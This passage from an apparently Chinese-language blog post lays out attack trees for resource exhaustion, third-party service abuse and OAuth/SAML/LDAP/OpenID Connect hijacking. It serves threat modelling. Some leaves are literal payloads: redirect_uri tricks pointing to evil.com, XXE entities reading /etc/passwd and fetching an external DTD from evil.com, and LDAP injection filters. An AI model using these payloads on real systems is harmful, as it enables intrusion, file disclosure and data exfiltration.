│ │ │ └─ 有效数据被挤出
│ │ ├─ 热点数据覆盖
│ │ │ ├─ LRU淘汰策略
│ │ │ ├─ 常用Key被删除
│ │ │ └─ 缓存命中率下降
│ │ └─ 恶意数据注入
│ │ ├─ 错误数据缓存
│ │ ├─ 用户看到错误信息
│ │ └─ 业务逻辑错误
│ │
│ └─ 缓存命令攻击
│ ├─ KEYS命令
│ │ ├─ KEYS * 阻塞
│ │ ├─ 扫描全部数据
│ │ └─ 单线程Redis卡死
│ ├─ FLUSHALL/FLUSHDB
│ │ ├─ 清空所有缓存
│ │ └─ 服务完全失效
│ └─ 慢查询命令
│ ├─ SORT大集合
│ ├─ SUNION/SINTER复杂运算
│ └─ Lua脚本死循环
│
├─ OR分支E:第三方服务攻击
│ │
│ ├─ OAuth服务攻击
│ │ ├─ 授权流程滥用
│ │ │ ├─ 频繁发起授权
│ │ │ ├─ OAuth服务器压力
│ │ │ ├─ 回调接口压力
│ │ │ └─ Token交换压力
│ │ ├─ 授权码洪水
│ │ │ ├─ 大量授权码生成
│ │ │ ├─ 存储空间耗尽
│ │ │ └─ 过期清理压力
│ │ └─ Access Token泄露
│ │ ├─ 频繁刷新Token
│ │ ├─ 黑名单膨胀
│ │ └─ 验证压力
│ │
│ ├─ 短信网关攻击
│ │ ├─ 费用消耗
│ │ │ ├─ 大量发送短信
│ │ │ ├─ 国际短信(高费用)
│ │ │ ├─ 预算耗尽
│ │ │ └─ 服务停用
│ │ ├─ 运营商封禁
│ │ │ ├─ 高频发送
│ │ │ ├─ 垃圾短信投诉
│ │ │ ├─ 号码拉黑
│ │ │ └─ 通道关闭
│ │ └─ API配额耗尽
│ │ ├─ 达到日发送上限
│ │ ├─ 限流触发
│ │ └─ 服务降级
│ │
│ ├─ 邮件服务攻击
│ │ ├─ SMTP服务器压力
│ │ │ ├─ 邮件队列堆积
│ │ │ ├─ 发送速率受限
│ │ │ ├─ 服务器超载
│ │ │ └─ 邮件延迟
│ │ ├─ IP信誉下降
│ │ │ ├─ 大量发送触发反垃圾
│ │ │ ├─ SPF/DKIM验证失败
│ │ │ ├─ 进入黑名单
│ │ │ └─ 邮件进垃圾箱
│ │ └─ 服务商封禁
│ │ ├─ 滥用条款违规
│ │ ├─ 账户暂停
│ │ └─ 邮件功能失效
│ │
│ └─ CDN/云服务攻击
│ ├─ 流量费用攻击
│ │ ├─ 大文件下载
│ │ ├─ 高带宽消耗
│ │ ├─ 跨区域流量
│ │ └─ 费用爆炸
│ ├─ API配额耗尽
│ │ ├─ 云服务API调用
│ │ ├─ 达到限额
│ │ └─ 服务降级
│ └─ WAF规则触发
│ ├─ 大量恶意请求
│ ├─ 自动封禁
│ └─ 正常流量误伤
│
└─ OR分支F:资源耗尽攻击
│
├─ CPU耗尽
│ ├─ 密码哈希计算
│ │ ├─ bcrypt高成本
│ │ ├─ Argon2内存密集
│ │ ├─ 大量并发登录
│ │ └─ CPU 100%
│ ├─ 加密解密操作
│ │ ├─ JWT签名验证
│ │ ├─ TLS握手
│ │ ├─ AES加解密
│ │ └─ RSA运算
│ ├─ 正则表达式DoS
│ │ ├─ 回溯爆炸
│ │ ├─ 复杂模式匹配
│ │ └─ 输入放大
│ └─ 算法复杂度攻击
│ ├─ 哈希碰撞
│ ├─ 排序算法
│ └─ 深度递归
│
├─ 内存耗尽
│ ├─ 大对象攻击
│ │ ├─ 上传大文件
│ │ ├─ 大JSON解析
│ │ ├─ 大XML处理
│ │ └─ 内存泄露
│ ├─ 对象累积
│ │ ├─ Session对象
│ │ ├─ 缓存对象
│ │ ├─ 连接对象
│ │ └─ OOM崩溃
│ └─ 内存碎片
│ ├─ 频繁分配释放
│ ├─ 可用内存减少
│ └─ GC压力
│
├─ 磁盘耗尽
│ ├─ 日志文件
│ │ ├─ 应用日志
│ │ ├─ 访问日志
│ │ ├─ 错误日志
│ │ ├─ 审计日志
│ │ └─ 磁盘100%
│ ├─ 临时文件
│ │ ├─ 上传文件
│ │ ├─ Session文件
│ │ ├─ 缓存文件
│ │ └─ 未清理
│ └─ 数据库文件
│ ├─ 数据文件增长
│ ├─ 日志文件增长
│ └─ 备份文件堆积
│
├─ 网络带宽耗尽
│ ├─ 流量洪水
│ │ ├─ 大量请求
│ │ ├─ 下载攻击
│ │ └─ 带宽打满
│ ├─ 慢速攻击
│ │ ├─ Slowloris
│ │ ├─ Slow POST
│ │ ├─ Slow Read
│ │ └─ 连接占用
│ └─ 放大攻击
│ ├─ 小请求大响应
│ ├─ 反射放大
│ └─ 带宽消耗
│
├─ 文件描述符耗尽
│ ├─ 连接数耗尽
│ │ ├─ TCP连接
│ │ ├─ 数据库连接
│ │ ├─ 文件句柄
│ │ └─ ulimit限制
│ ├─ Socket耗尽
│ │ ├─ WebSocket
│ │ ├─ SSE长连接
│ │ └─ 端口耗尽
│ └─ 进程/线程耗尽
│ ├─ 线程池满
│ ├─ 进程数超限
│ └─ 服务无响应
│
└─ 时间资源攻击
├─ 长时间请求
│ ├─ 超时设置过大
│ ├─ 无超时限制
│ └─ 资源长期占用
├─ 定时任务攻击
│ ├─ 触发大量计划任务
│ ├─ 任务队列堆积
│ └─ 调度器崩溃
└─ 备份/维护窗口
├─ 备份时攻击
├─ 维护期间攻击
└─ 恢复能力丧失
OAuth/SSO劫持与滥用
【目标:通过OAuth/SSO漏洞获取未授权访问】
│
├─ AND分支A:OAuth授权流程攻击
│ │
│ ├─ 授权码劫持
│ │ ├─ Redirect URI操纵
│ │ │ ├─ 开放重定向漏洞
│ │ │ │ ├─ 未验证redirect_uri
│ │ │ │ ├─ 参数污染绕过
│ │ │ │ │ ├─ redirect_uri=evil.com&redirect_uri=good.com
│ │ │ │ │ ├─ 数组参数注入
│ │ │ │ │ └─ URL编码绕过(%2F变/)
│ │ │ │ ├─ 子域名劫持
│ │ │ │ │ ├─ CNAME悬挂记录
│ │ │ │ │ ├─ 过期域名接管
│ │ │ │ │ └─ 通配符域名滥用
│ │ │ │ ├─ 路径遍历
│ │ │ │ │ ├─ redirect_uri=good.com/../evil.com
│ │ │ │ │ ├─ URL解析差异利用
│ │ │ │ │ └─ Null字节注入
│ │ │ │ └─ Fragment混淆
│ │ │ │ ├─ good.com#@evil.com
│ │ │ │ └─ 浏览器解析歧义
│ │ │ │
│ │ │ ├─ HTTP vs HTTPS降级
│ │ │ │ ├─ 降级到HTTP劫持
│ │ │ │ ├─ 中间人攻击
│ │ │ │ ├─ SSL Strip攻击
│ │ │ │ └─ 协议混淆绕过
│ │ │ │
│ │ │ └─ 域名混淆
│ │ │ ├─ IDN同形字攻击
│ │ │ │ ├─ goοgle.com(希腊字母ο)
│ │ │ │ └─ аpple.com(西里尔字母а)
│ │ │ ├─ Punycode混淆
│ │ │ │ ├─ xn--pple-43d.com
│ │ │ │ └─ 视觉欺骗
│ │ │ └─ 相似域名
│ │ │ ├─ gooogle.com(多个o)
│ │ │ ├─ g00gle.com(数字0)
│ │ │ └─ google.co(短域名)
│ │ │
│ │ ├─ 授权码拦截
│ │ │ ├─ 网络层拦截
│ │ │ │ ├─ 公共WiFi中间人
│ │ │ │ ├─ 恶意路由器
│ │ │ │ ├─ DNS劫持
│ │ │ │ ├─ ARP欺骗
│ │ │ │ └─ BGP劫持
│ │ │ │
│ │ │ ├─ 浏览器层拦截
│ │ │ │ ├─ 恶意浏览器扩展
│ │ │ │ │ ├─ 读取所有页面权限
│ │ │ │ │ ├─ 监听网络请求
│ │ │ │ │ └─ 修改HTTP响应
│ │ │ │ ├─ XSS窃取
│ │ │ │ │ ├─ document.location读取code
│ │ │ │ │ ├─ window.history窃取
│ │ │ │ │ └─ 外发到攻击者服务器
│ │ │ │ ├─ 浏览器历史记录
│ │ │ │ │ ├─ 物理访问设备
│ │ │ │ │ ├─ 云同步泄露
│ │ │ │ │ └─ 浏览器数据库读取
│ │ │ │ └─ Referer头泄露
│ │ │ │ ├─ 第三方资源加载
│ │ │ │ ├─ 外链点击
│ │ │ │ └─ 分析服务收集
│ │ │ │
│ │ │ └─ 应用层拦截
│ │ │ ├─ 移动端应用劫持
│ │ │ │ ├─ Deep Link劫持
│ │ │ │ ├─ Custom URL Scheme冲突
│ │ │ │ ├─ App Links接管
│ │ │ │ └─ 恶意应用监听
│ │ │ ├─ 客户端日志泄露
│ │ │ │ ├─ Console日志
│ │ │ │ ├─ 调试日志
│ │ │ │ └─ 崩溃报告
│ │ │ └─ 代理工具拦截
│ │ │ ├─ Burp Suite
│ │ │ ├─ Charles Proxy
│ │ │ └─ Fiddler
│ │ │
│ │ └─ 授权码重放攻击
│ │ ├─ 授权码未一次性使用
│ │ │ ├─ 多次兑换Token
│ │ │ ├─ 竞态条件利用
│ │ │ └─ 未标记已使用
│ │ ├─ 授权码过期时间过长
│ │ │ ├─ 10分钟+有效期
│ │ │ ├─ 窃取后有时间使用
│ │ │ └─ 攻击窗口扩大
│ │ └─ 授权码未绑定客户端
│ │ ├─ 其他客户端可使用
│ │ ├─ PKCE未实施
│ │ └─ code_verifier缺失
│ │
│ ├─ State参数攻击
│ │ ├─ CSRF攻击
│ │ │ ├─ 无state参数
│ │ │ │ ├─ 预先授权攻击者账号
│ │ │ │ ├─ 受害者触发授权
│ │ │ │ └─ 绑定到攻击者账号
│ │ │ ├─ state未验证
│ │ │ │ ├─ 服务端不校验
│ │ │ │ ├─ 任意state可通过
│ │ │ │ └─ 客户端验证绕过
│ │ │ └─ state可预测
│ │ │ ├─ 固定state值
│ │ │ ├─ 简单递增
│ │ │ └─ 时间戳种子
│ │ │
│ │ ├─ State泄露
│ │ │ ├─ URL中泄露
│ │ │ ├─ Referer头泄露
│ │ │ ├─ 日志记录
│ │ │ └─ 错误信息暴露
│ │ │
│ │ └─ State固定攻击
│ │ ├─ 诱导使用指定state
│ │ ├─ 预先发起授权
│ │ └─ 劫持授权流程
│ │
│ ├─ Scope权限提升
│ │ ├─ Scope参数篡改
│ │ │ ├─ 添加额外scope
│ │ │ │ ├─ scope=read write delete
│ │ │ │ ├─ scope=user admin
│ │ │ │ └─ 分隔符注入
│ │ │ ├─ 通配符滥用
│ │ │ │ ├─ scope=*
│ │ │ │ ├─ scope=user:*
│ │ │ │ └─ 正则表达式注入
│ │ │ └─ 未授权scope请求
│ │ │ ├─ 请求管理员权限
│ │ │ ├─ 绕过权限检查
│ │ │ └─ 业务逻辑漏洞
│ │ │
│ │ ├─ Scope验证缺失
│ │ │ ├─ 授权时不校验
│ │ │ ├─ Token使用时不校验
│ │ │ ├─ 越权使用API
│ │ │ └─ 默认授予所有权限
│ │ │
│ │ └─ 增量授权滥用
│ │ ├─ 多次授权累积权限
│ │ ├─ 每次添加新scope
│ │ ├─ 未限制总权限
│ │ └─ 权限合并漏洞
│ │
│ ├─ Token劫持与滥用
│ │ ├─ Access Token泄露
│ │ │ ├─ Implicit Grant流程
│ │ │ │ ├─ Token在URL Fragment
│ │ │ │ ├─ JavaScript可读取
│ │ │ │ ├─ Referer泄露风险
│ │ │ │ └─ 浏览器历史记录
│ │ │ ├─ Token在响应体
│ │ │ │ ├─ XSS窃取
│ │ │ │ ├─ 日志记录
│ │ │ │ └─ 错误信息暴露
│ │ │ ├─ Token在日志
│ │ │ │ ├─ 应用日志
│ │ │ │ ├─ Web服务器日志
│ │ │ │ ├─ 代理日志
│ │ │ │ └─ 第三方分析工具
│ │ │ └─ Token存储不安全
│ │ │ ├─ LocalStorage(XSS可读)
│ │ │ ├─ SessionStorage
│ │ │ ├─ 明文Cookie
│ │ │ └─ 移动端SharedPreferences
│ │ │
│ │ ├─ Refresh Token滥用
│ │ │ ├─ 长期有效Token
│ │ │ │ ├─ 永久有效
│ │ │ │ ├─ 1年+有效期
│ │ │ │ └─ 窃取后长期使用
│ │ │ ├─ Token未绑定设备
│ │ │ │ ├─ 任意设备可用
│ │ │ │ ├─ 设备指纹缺失
│ │ │ │ └─ IP未校验
│ │ │ ├─ Token未轮换
│ │ │ │ ├─ 重复使用同一Token
│ │ │ │ ├─ 未检测异常
│ │ │ │ └─ 泄露风险高
│ │ │ └─ Refresh Token泄露
│ │ │ ├─ 传输未加密
│ │ │ ├─ 存储不安全
│ │ │ ├─ 备份文件包含
│ │ │ └─ 数据库泄露
│ │ │
│ │ └─ Token重放攻击
│ │ ├─ 缺少Nonce机制
│ │ ├─ 缺少时间戳验证
│ │ ├─ 未绑定客户端
│ │ └─ 跨域使用Token
│ │
│ └─ PKCE绕过(移动端/SPA)
│ ├─ Code Verifier泄露
│ │ ├─ 客户端代码反编译
│ │ ├─ 内存dump
│ │ ├─ 调试模式泄露
│ │ └─ 网络抓包
│ ├─ PKCE未强制实施
│ │ ├─ 可选择不使用PKCE
│ │ ├─ 回退到传统流程
│ │ └─ 兼容性漏洞
│ └─ Code Challenge算法降级
│ ├─ plain方法(不哈希)
│ ├─ 弱哈希算法
│ └─ 算法协商漏洞
│
├─ OR分支B:SAML SSO攻击
│ │
│ ├─ SAML Assertion操纵
│ │ ├─ XML签名绕过
│ │ │ ├─ 签名包装攻击
│ │ │ │ ├─ 原始Assertion + 伪造Assertion
│ │ │ │ ├─ 签名验证路径错误
│ │ │ │ └─ 处理第一个未签名Assertion
│ │ │ ├─ 签名排除攻击
│ │ │ │ ├─ 关键字段未签名
│ │ │ │ ├─ 修改未签名属性
│ │ │ │ └─ Conditions标签未保护
│ │ │ ├─ 注释注入
│ │ │ │ ├─ XML注释干扰解析
│ │ │ │ ├─ <!-- -->绕过签名
│ │ │ │ └─ 解析器差异利用
│ │ │ └─ Namespace混淆
│ │ │ ├─ xmlns重定义
│ │ │ ├─ 前缀冲突
│ │ │ └─ 默认命名空间覆盖
│ │ │
│ │ ├─ XXE注入
│ │ │ ├─ 外部实体注入
│ │ │ │ ├─ <!ENTITY xxe SYSTEM "file:///etc/passwd">
│ │ │ │ ├─ 读取本地文件
│ │ │ │ ├─ SSRF攻击内网
│ │ │ │ └─ 拒绝服务(Billion Laughs)
│ │ │ ├─ 参数实体注入
│ │ │ │ ├─ <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
│ │ │ │ └─ 外带数据
│ │ │ └─ XInclude注入
│ │ │ └─ <xi:include href="file:///etc/passwd"/>
│ │ │
│ │ ├─ Assertion重放攻击
│ │ │ ├─ 缺少Nonce/ID检查
│ │ │ │ ├─ 重复使用Assertion
│ │ │ │ ├─ 未记录已用ID
│ │ │ │ └─ 并发重放
│ │ │ ├─ 时间窗口过大
│ │ │ │ ├─ NotBefore/NotOnOrAfter宽松
│ │ │ │ ├─ 5分钟+窗口
│ │ │ │ └─ 时钟同步漏洞
│ │ │ └─ Conditions未验证
│ │ │ ├─ AudienceRestriction未检查
│ │ │ ├─ 跨应用使用
│ │ │ └─ SubjectConfirmation缺失
│ │ │
│ │ └─ 用户属性篡改
│ │ ├─ AttributeStatement修改
│ │ │ ├─ 修改用户名
│ │ │ ├─ 修改邮箱
│ │ │ ├─ 修改角色
│ │ │ └─ 添加管理员权限
│ │ ├─ NameID替换
│ │ │ ├─ 替换为管理员ID
│ │ │ ├─ 格式不验证
│ │ │ └─ 跨域映射错误
│ │ └─ 自定义属性注入
│ │ ├─ 添加is_admin=true
│ │ ├─ 注入SQL代码
│ │ └─ XSS Payload
│ │
│ ├─ SAML协议漏洞
│ │ ├─ Metadata劫持
│ │ │ ├─ IdP Metadata篡改
│ │ │ │ ├─ 替换公钥证书
│ │ │ │ ├─ 修改SSO端点
│ │ │ │ └─ 中间人攻击
│ │ │ ├─ Metadata未签名
│ │ │ │ ├─ 任意修改
│ │ │ │ └─ 完整性无保障
│ │ │ └─ Metadata自动更新漏洞
│ │ │ ├─ HTTP获取(无HTTPS)
│ │ │ ├─ 未验证来源
│ │ │ └─ 缓存投毒
│ │ │
│ │ ├─ SP漏洞
│ │ │ ├─ ACS端点未保护
│ │ │ │ ├─ 任意Assertion可提交
│ │ │ │ ├─ 无来源验证
│ │ │ │ └─ CSRF攻击
│ │ │ ├─ RelayState篡改
│ │ │ │ ├─ 开放重定向
│ │ │ │ ├─ XSS注入
│ │ │ │ └─ 会话固定
│ │ │ └─ 登出漏洞
│ │ │ ├─ 单点登出失效
│ │ │ ├─ Session未清理
│ │ │ └─ Token未撤销
│ │ │
│ │ └─ IdP漏洞
│ │ ├─ 用户枚举
│ │ │ ├─ 登录响应差异
│ │ │ ├─ 时间侧信道
│ │ │ └─ 错误信息泄露
│ │ ├─ 身份混淆
│ │ │ ├─ 多IdP环境
│ │ │ ├─ NameID格式冲突
│ │ │ └─ 用户映射错误
│ │ └─ 授权绕过
│ │ ├─ 认证后授权未检查
│ │ ├─ 默认授予访问
│ │ └─ 权限提升
│ │
│ └─ 会话管理漏洞
│ ├─ Session绑定缺失
│ │ ├─ SAML会话未绑定HTTP会话
│ │ ├─ 会话固定攻击
│ │ └─ 会话转移
│ ├─ 超时处理不当
│ │ ├─ SAML会话过期但HTTP会话仍有效
│ │ ├─ 时钟偏移问题
│ │ └─ 永久会话
│ └─ 单点登出失败
│ ├─ LogoutRequest未处理
│ ├─ 后信道登出失败
│ ├─ 部分应用未登出
│ └─ Token未全局撤销
│
├─ OR分支C:LDAP/AD集成攻击
│ │
│ ├─ LDAP注入
│ │ ├─ 认证绕过
│ │ │ ├─ 用户名注入
│ │ │ │ ├─ *)(uid=*))(|(uid=*
│ │ │ │ ├─ admin)(&(password=*
│ │ │ │ └─ 逻辑运算符注入
│ │ │ ├─ 密码字段注入
│ │ │ │ ├─ *)|(password=*
│ │ │ │ └─ 永真条件
│ │ │ └─ Filter注入
│ │ │ ├─ (|(uid=*)(cn=admin))
│ │ │ └─ 复杂嵌套
│ │ │
│ │ ├─ 信息泄露
│ │ │ ├─ 枚举用户
│ │ │ │ ├─ (uid=*)
│ │ │ │ ├─ 通配符搜索
│ │ │ │ └─ 批量获取
│ │ │ ├─ 获取敏感属性
│ │ │ │ ├─ userPassword泄露
│ │ │ │ ├─ memberOf信息
│ │ │ │ └─ 组织结构
│ │ │ └─ 盲注
│ │ │ ├─ 基于响应时间
│ │ │ └─ 基于错误差异
│ │ │
│ │ └─ 权限提升
│ │ ├─ 修改用户属性
│ │ │ ├─ 添加到管理员组
│ │ │ ├─ 修改memberOf
│ │ │ └─ 提升权限等级
│ │ └─ 修改组成员
│ │ ├─ 添加用户到特权组
│ │ └─ 批量赋权
│ │
│ ├─ Kerberos攻击
│ │ ├─ Pass-the-Ticket
│ │ │ ├─ TGT窃取
│ │ │ │ ├─ 内存提取
│ │ │ │ ├─ lsass.exe dump
│ │ │ │ └─ Mimikatz工具
│ │ │ ├─ 服务票据窃取
│ │ │ │ ├─ klist导出
│ │ │ │ └─ 会话劫持
│ │ │ └─ 票据注入
│ │ │ ├─ 导入到当前会话
│ │ │ └─ 跨主机使用
│ │ │
│ │ ├─ Pass-the-Hash
│ │ │ ├─ NTLM Hash窃取
│ │ │ │ ├─ SAM数据库提取
│ │ │ │ ├─ NTDS.dit文件
│ │ │ │ └─ 网络抓包
│ │ │ └─ Hash直接认证
│ │ │ ├─ 无需明文密码
│ │ │ └─ SMB/LDAP认证
│ │ │
│ │ ├─ Golden Ticket
│ │ │ ├─ krbtgt Hash获取
│ │ │ │ ├─ 域控制器入侵
│ │ │ │ ├─ DCSync攻击
│ │ │ │ └─ 数据库提取
│ │ │ └─ 伪造TGT
│ │ │ ├─ 任意用户身份
│ │ │ ├─ 任意权限
│ │ │ └─ 长期有效(10年)
│ │ │
│ │ └─ Silver Ticket
│ │ ├─ 服务账户Hash获取
│ │ ├─ 伪造服务票据
│ │ ├─ 访问特定服务
│ │ └─ 无需KDC交互
│ │
│ └─ AD环境特有攻击
│ ├─ GPO劫持
│ │ ├─ 修改组策略
│ │ ├─ 计划任务注入
│ │ ├─ 登录脚本篡改
│ │ └─ 批量横向移动
│ ├─ ACL滥用
│ │ ├─ GenericAll权限
│ │ ├─ WriteDACL权限
│ │ ├─ 修改对象权限
│ │ └─ 权限继承利用
│ └─ 信任关系利用
│ ├─ 跨域信任
│ ├─ 林间信任
│ ├─ SID History注入
│ └─ 域间提权
│
└─ OR分支D:OpenID Connect攻击
│
├─ ID Token操纵
│ ├─ JWT攻击(同攻击树1)
│ │ ├─ alg=none绕过
│ │ ├─ 密钥混淆
│ │ ├─ 密钥泄露
│ │ └─ Payload篡改
│ ├─ Nonce绕过
│ │ ├─ 缺少nonce检查
│ │ ├─ 重放ID Token
│ │ ├─ 跨会话使用
│ │ └─ CSRF攻击
│ └─ 签名验证缺失
│ ├─ 未验证签名
│ ├─ 信任客户端
│ └─ 自签名接受
│
├─ UserInfo端点攻击
│ ├─ 越权访问
│ │ ├─ Token未校验
│ │ ├─ 访问他人信息
│ │ └─ 批量枚举
│ ├─ 信息泄露
│ │ ├─ 过度返回信息
│ │ ├─ 敏感属性暴露
│ │ └─ PII泄露
│ └─ 注入攻击
│ ├─ 参数注入
│ └─ 响应篡改
│
├─ Discovery机制滥用
│ ├─ 配置信息泄露
│ │ ├─ .well-known端点
│ │ ├─ 暴露所有端点
│ │ ├─ 支持算法信息
│ │ └─ 攻击面暴露
│ └─ 元数据篡改
│ ├─ 中间人修改
│ ├─ 配置投毒
│ └─ 降级攻击
│
└─ 混合流程攻击
├─ Response Type混淆
│ ├─ code+id_token流程
│ ├─ code+token流程
│ ├─ 验证不一致
│ └─ 降级攻击
├─ Response Mode攻击
│ ├─ form_post注入
│ ├─ fragment泄露
│ └─ query参数篡改
└─ 客户端类型混淆
├─ Public客户端假冒Confidential
├─ 客户端Secret泄露
└─ 动态客户端注册滥用
本文来自博客园,作者:Rodericklog,转载请注明原文链接:https://www.cnblogs.com/rodericklog/articles/19479215

浙公网安备 33010602011771号